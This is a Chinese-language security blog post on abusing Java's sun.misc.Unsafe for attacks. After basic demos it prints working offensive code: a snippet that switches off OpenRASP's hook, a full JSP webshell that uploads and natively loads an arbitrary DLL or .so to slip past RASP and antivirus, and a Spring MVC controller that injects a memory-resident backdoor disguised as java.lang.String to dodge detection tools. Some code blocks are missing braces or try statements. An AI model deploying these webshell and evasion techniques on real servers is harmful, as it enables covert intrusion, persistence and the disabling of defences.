Java中的Unsafe在安全领域的使用总结和复现(实例详解)

总结并复现了一下Unsafe在安全领域的一些应用

0 前言

unsafe里面有很多好用的方法，比如allocateInstance可以直接创建实例对象，defineAnonymousClass可以创建一个VM匿名类(VM Anonymous Class)，以及直接从内存级别修改对象的值。

1 基本使用

首先是获取Unsafe对象，一般使用反射获取Unsafe，否则会被Java安全机制拦截，代码如下

public static Unsafe getUnsafe() throws Exception{
       Class<?> aClass = Class.forName("sun.misc.Unsafe");
       Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
       declaredConstructor.setAccessible(true);
       Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
       return unsafe;
   }

1.1 内存级别修改值

这里首先要提到的是，在jvm中，对实例的Field进行了有规律的存储，具体可见JVM相关知识，而通过一个偏移量可以从内存中找到相应的Field值。在Unsafe中获取偏移量的方法是staticFieldOffset(Field var1)和objectFieldOffset(Field var1)这两个方法，输入一个Field对象后，会返回该Field在其相应的类中的内存偏移量是多少。通过获得的偏移量可进一步调用putInt、putLong、putObject等方法对实例的field进行修改。

例如：

package com.bitterz.unsafe;

import sun.misc.Unsafe;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class UnsafeTest {
   private int a = 1;
   private String string = "whoami";
   public UnsafeTest(){}
   public void test(){    }
   public static void main(String[] args) throws Exception {
       Unsafe unsafe = getUnsafe();
       UnsafeTest unsafeTest = new UnsafeTest();

// 修改int
       Field f = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("a");
       long l = unsafe.objectFieldOffset(f);
       unsafe.putInt(unsafeTest, l, 9999);
       System.out.println(unsafeTest.a);
       // 修改string
       Field f2 = Class.forName("com.bitterz.unsafe.UnsafeTest").getDeclaredField("string");
       long l2 = unsafe.objectFieldOffset(f2);
       unsafe.putObject(unsafeTest, l2, "bitterz");
       System.out.println(unsafeTest.string);
   }
   public static Unsafe getUnsafe() throws Exception{
       Class<?> aClass = Class.forName("sun.misc.Unsafe");
       Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
       declaredConstructor.setAccessible(true);
       Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
       return unsafe;
}

其输出结果为

但对final和static修饰的field这种修改方法无效。另外还可以通过偏移量使用getInt()、getObject()等方法获取实例的field值，这种方法也可以作为反射被限制时的一种绕过。

1.2 创建对象

Unsafe中有个allocateInstance方法，可以无视构造方法，直接利用类对象构建实例，这种方法往往能够减少反射创建实例时可能遇到的各种阻碍，比如类的依赖关系。

比如前面创建Unsafe时使用了反射，不能直接进行创建，那么可以使用unsafe进行创建(只是为了演示。。)

1.3 创建VM Anonymous Class

VM Anonymous Class并不等同于匿名类，这种类具有以下几个特点(摘自https://paper.seebug.org/1785)：

1、class名可以是已存在的class的名字，比如java.lang.File，即使如此也不会发生任何问题，java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。  ---将会使类名极具欺骗性
2、该class的classloader为null。  ---在java中classloader为null的为来自BootstrapClassLoader的class，往往会被认定为jdk自带class
3、在JVM中存在大量动态编译产生的class（多为lamada表达式生成），这种class均不会落盘，所以不落盘并不会属于异常特征。 
4、无法通过Class.forName()获取到该class的相关内容。 ---严重影响通过反射排查该类安全性的检测工具
5、在部分jdk版本中，VM Anonymous Class甚至无法进行restransform。 ---这也就意味着我们无法通过attach API去修复这个恶意类
6、该class在transform中的className将会是它的模板类名。 ---这将会对那些通过attach方式检测内存马的工具造成极大的误导性

使用方法如下

defineAnonymousClass方法的第一个参数随便传入一个类对象即可，第二个参数需要传入一个类的字节码，这里使用javassist简单一点。第三个参数设置为null即可。

执行后得到一个类对象，通过newInstance获取实例，再调用了匿名类的toString方法，弹个计算器。而后输出匿名类的类名和Unsafe的类名进行对比，可见，用defineAnonymousClass创建的类名后面，会有"/xxxxxxxx"，这里也算一个特征，但通过Class.forName是无法获取到这个类的，所以下面报错了。

用attach的方式，看看对该类的检测，之前写过rasp相关的笔记，所以直接拿过来用

transform里面拿到到该类后，直接报错了，看了一下报错日志，实际上就是在transform中返回字节码时出问题了，因为前面也说了在部分jdk中，VM AnonymousClass是不能被retransform的，我这里用的是jdk1.8u40。但是直接结束程序有点不太好，例如插入内存马后，目标使用attach机制来扫描jvm中加载的类，此时直接导致Web程序崩溃，业务不得提刀来杀安全：） 这个点用于内存马可能要慎重一下。

2 利用姿势

2.1 修改值以关闭RASP等防御措施

前面提到了，通过Unsafe可以直接修改值，因此在遇到目标有RASP得情况下，可以考虑修改RASP的开关；

try {
   Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
   Unsafe unsafe = getUnsafe();
   InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
   byte[] data = new byte[inputStream.available()];
   inputStream.read(data);
   Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
   Field field = anonymousClass.getDeclaredField("enableHook");
   unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));
   } catch (Exception e) {
   }

或者使用rebeyond师傅提到的方法，手动构建insturmentation对象，然后对执行命令的类去掉RASP插桩代码。

2.2 创建NativeLibrary对象实现webshell

这里的思路来自于SummerSec师傅的文章，通过java.lang.ClassLoader$NativeLibrary#load(String, Boolean)方法，加载一个dll文件，而dll文件中可以实现各种攻击手段，例如上传了一个jsp文件，只用于加载dll，而不同的dll实现了内网穿透、反弹Shell、木马和执行命令等功能，攻击时上传对应dll文件即可。

借鉴https://github.com/SummerSec/Loader/blob/main/AddDllDemo.jsp ，又稍微改了一下代码，把上传文件和加载dll融合到了一个jsp里面

<％@page pageEncoding="utf-8"％>
<input type="file" id="fielinput" />
<img id="txshow" style="width:100px;height:100px;"/>
<br/>解析之后的base64数据：<br/>
<p id="data"></p>

<head>
   <meta charset="utf-8">
</head>
<form action="http://127.0.0.1:8080/test/AddDllDemo.jsp" method="POST">
   <input type="text" style="width:1300px;height:100px;font-size:30px" name="p"/>
   <input type="submit" value="提交"/>
</form>
<script type="text/javascript">
var input = document.getElementById("fielinput");
input.addEventListener('change', readFile, false);
function readFile() {
  var file = this.files[0];
   var reader = new FileReader(); // 返回一个新的FileReader函数
   reader.readAsDataURL(file);
   reader.onload = function (e) {
       txshow.src = this.result;
       document.getElementById("data").innerText=this.result.substring(this.result.indexOf(',')+1);
   }
}
</script>>
<％
if(request.getMethod().equals("GET")){

}else{
   String p = request.getParameter("p");
   String t = request.getServletContext().getRealPath("/");
   java.io.PrintWriter outp = response.getWriter();
   outp.println("WebRootPath:");
   outp.println(t);
   t = request.getServletPath();
   outp.println("ServletPath:");
   t = (new java.io.File(".").getAbsolutePath());
   outp.println("WebServerPath:");
   java.util.Random random = new java.util.Random(System.currentTimeMillis());
   outp.println("if Dynamic Link Library will be auto load in uploading !!!");
   t = System.getProperty("os.name").toLowerCase();
   if (t.contains("windows")) {
       t = "C:/Windows/temp/dm" + random.nextInt(10000000) + "1.dll";
   }else {
       t = "/tmp/dm" + random.nextInt(10000000) + "1.so";
   if (p != null) {
       try {
           java.io.FileOutputStream fos = new java.io.FileOutputStream(new java.io.File(t));
           fos.write(D(p));
           fos.close();
           N(t);
           outp.println("Dynamic Link Library is uploaded, and the path is: " + t);
           outp.println("load uploaded success !!!");
       } catch (Exception e) {
           outp.println(e.getMessage());
       }
   outp.flush();
   outp.close();
％>
<％!
   private void N(String t) throws Exception {
       Object o;
       Class a = Class.forName("java.lang.ClassLoader$NativeLibrary");
           java.lang.reflect.Constructor c = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class});
           c.setAccessible(true);
           o = c.newInstance(Class.class,t,true);
       }catch (Exception e){
           Class u = Class.forName("sun.misc.Unsafe");
           java.lang.reflect.Constructor<?> c = u.getDeclaredConstructor();
           sun.misc.Unsafe un = (sun.misc.Unsafe)c.newInstance();
           o =  un.allocateInstance(a);
       java.lang.reflect.Method method = o.getClass().getDeclaredMethod("load", String.class, boolean.class);
       method.setAccessible(true);
       method.invoke(o, t, false);
   private byte[] D(String p) throws Exception {
           Class clazz = Class.forName("sun.misc.BASE64Decoder");
           return (byte[])(clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), p));
       } catch (Exception var5) {
           Class clazz = Class.forName("java.util.Base64");
           Object decoder = clazz.getMethod("getDecoder").invoke(null);
           return (byte[])(decoder.getClass().getMethod("decode", String.class).invoke(decoder, p));

浏览器访问AddDllDemo.jsp后，选择dll文件，并复制base64值到文本框中，点击提交

成功弹出计算器

使用Unsafe去创建NativeLibrary的有点在于可以减少在java层面的调用，直接一个load方法就能实现native层面的代码执行，可以绕过RASP或终端软件对webshell的查杀，以及java层面执行命令时被拦截的可能。

目前这种做法有个缺点在于DLL文件必须落地，显然落地就有可能被文件监控察觉到。另外实现这种做法的还有ClassLoader#loadLibrary和ClassLoader#loadLibrary0，利用反射即可实现不再赘述。期待大师傅们搞出无文件落地的姿势！

2.3 匿名的内存马

前面提到了使用Unsafe.defineAnonymousClass方法可以创建一个VM Anonymous Class，基于其各种特点，可以让内存马隐藏的更深

在springmvc中，插入servlet内存马时，只需要传入方法名和恶意类的实例对象，刚好适合这种Anonymous Class，pom.xml设置如下

<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-web</artifactId>
   <version>4.2.6.RELEASE</version>
</dependency>
<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-webmvc</artifactId>
   <version>4.2.6.RELEASE</version>
</dependency>
<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-context</artifactId>
   <version>4.2.6.RELEASE</version>
</dependency>
<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-test</artifactId>
   <version>4.2.6.RELEASE</version>
</dependency>
<dependency>
   <groupId>org.springframework</groupId>
   <artifactId>spring-jdbc</artifactId>
   <version>4.2.6.RELEASE</version>
</dependency>
<dependency>
   <groupId>org.javassist</groupId>
   <artifactId>javassist</artifactId>
   <version>3.19.0-GA</version>
</dependency>

在spring_mvc中写个controller来注入，示例代码如下：

@ResponseBody
@RequestMapping(value = "/index", method = RequestMethod.GET)
public String index(HttpServletRequest request, HttpServletResponse response) throws Exception {
   // 准备unsafe和匿名类
   Class<?> aClass = Class.forName("sun.misc.Unsafe");
   Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
   declaredConstructor.setAccessible(true);
   Unsafe unsafe= (Unsafe) declaredConstructor.newInstance();
   ClassPool classPool = ClassPool.getDefault();
   CtClass ctClass = classPool.makeClass("java.lang.String");
   CtMethod toString = CtMethod.make("public String toString(){java.lang.Runtime.getRuntime().exec(\"calc\");return null;}", ctClass);
   toString.setName("toString");
   ctClass.addMethod(toString);
   byte[] bytes = ctClass.toBytecode();
   Class<?> anonymousClass = unsafe.defineAnonymousClass(File.class, bytes, null);

// 插入内存马
   WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
   // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
   RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
   AbstractHandlerMethodMapping abstractHandlerMethodMapping = context.getBean(AbstractHandlerMethodMapping.class);
   Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
   method.setAccessible(true);
   Object  mappingRegistry = (Object) method.invoke(abstractHandlerMethodMapping);
   Field field = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
   field.setAccessible(true);
   Map urlLookup = (Map) field.get(mappingRegistry);
   Iterator urlIterator = urlLookup.keySet().iterator();
   String injectUrlPath = "/malicious"; // 插入的url
   while (urlIterator.hasNext()){
       String urlPath = (String) urlIterator.next();
       if (injectUrlPath.equals(urlPath)){
           System.out.println("URL已存在");
           return "exist";
       }
   }

// 2. 通过反射获得自定义 controller 中唯一的 Method 对象
   Method method2 = anonymousClass.getDeclaredMethod("toString");

// 3. 定义访问 controller 的 URL 地址
   PatternsRequestCondition url = new PatternsRequestCondition(injectUrlPath);
   // 4. 定义允许访问 controller 的 HTTP 方法（GET/POST）
   RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
   // 5. 在内存中动态注册 controller
   RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
   //        InjectAnonymousClass InjectAnonymousClass = new InjectAnonymousClass("aaa");
   Object o = anonymousClass.newInstance();
   mappingHandlerMapping.registerMapping(info, o, method2);

return "injected!";  // 这里根据注解会自动返回index.html
}

启动项目，然后访问该controller对应的url，结果如下

注入成功，访问/malicious

由于恶意代码里面只写了弹计算器，并没有写返回语句，所以tomcat寻找malicious.jsp会返回404。调试模式下看一下对该url的描述

只有在beanType处显示类名为java.lang.String/179284069，其它地方都显示为java.lang.String。匿名类的类名又可以随意设置，所以稍加修饰即可以假乱真，比如先拿到org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry，遍历其中，随便找一个controller的类名和方法名，然后回显一下，再给恶意类写个一样的package和方法名，url则根据Web应用的规律自己编一个，这样的话，还是能够欺骗到根据package和方法名判断的检测方法，另外VM Anonymous Class没办法获取到字节码，所以也能逃过一劫。

2.4 shellcode和instrumentation对象构建

Unsafe类还能对内存进行操作，在rebeyond师傅的文章-java内存攻击技术漫谈中有大量应用，最终可以通过内存级别的操作，直接构建instrumentation对象进而修改jvm中的java代码；或者执行shellcode，从而绕过RASP实现命令执行、文件读写等操作。

3 总结

Unsafe在java攻击层面属实非常有用，而其正常使用也非常广泛，例如gson反序列化时，直接使用allocateInstance创建对象，无视构造函数的复杂。Unsafe还有很多其它功能，不够安全人员可能用的比较少，我也借用一下这张传的最广泛的图：）

参考：

https://paper.seebug.org/1785

https://tttang.com/archive/1436/

https://www.cnblogs.com/rebeyond/p/15162264.html

来源：https://www.cnblogs.com/bitterz/p/15952315.html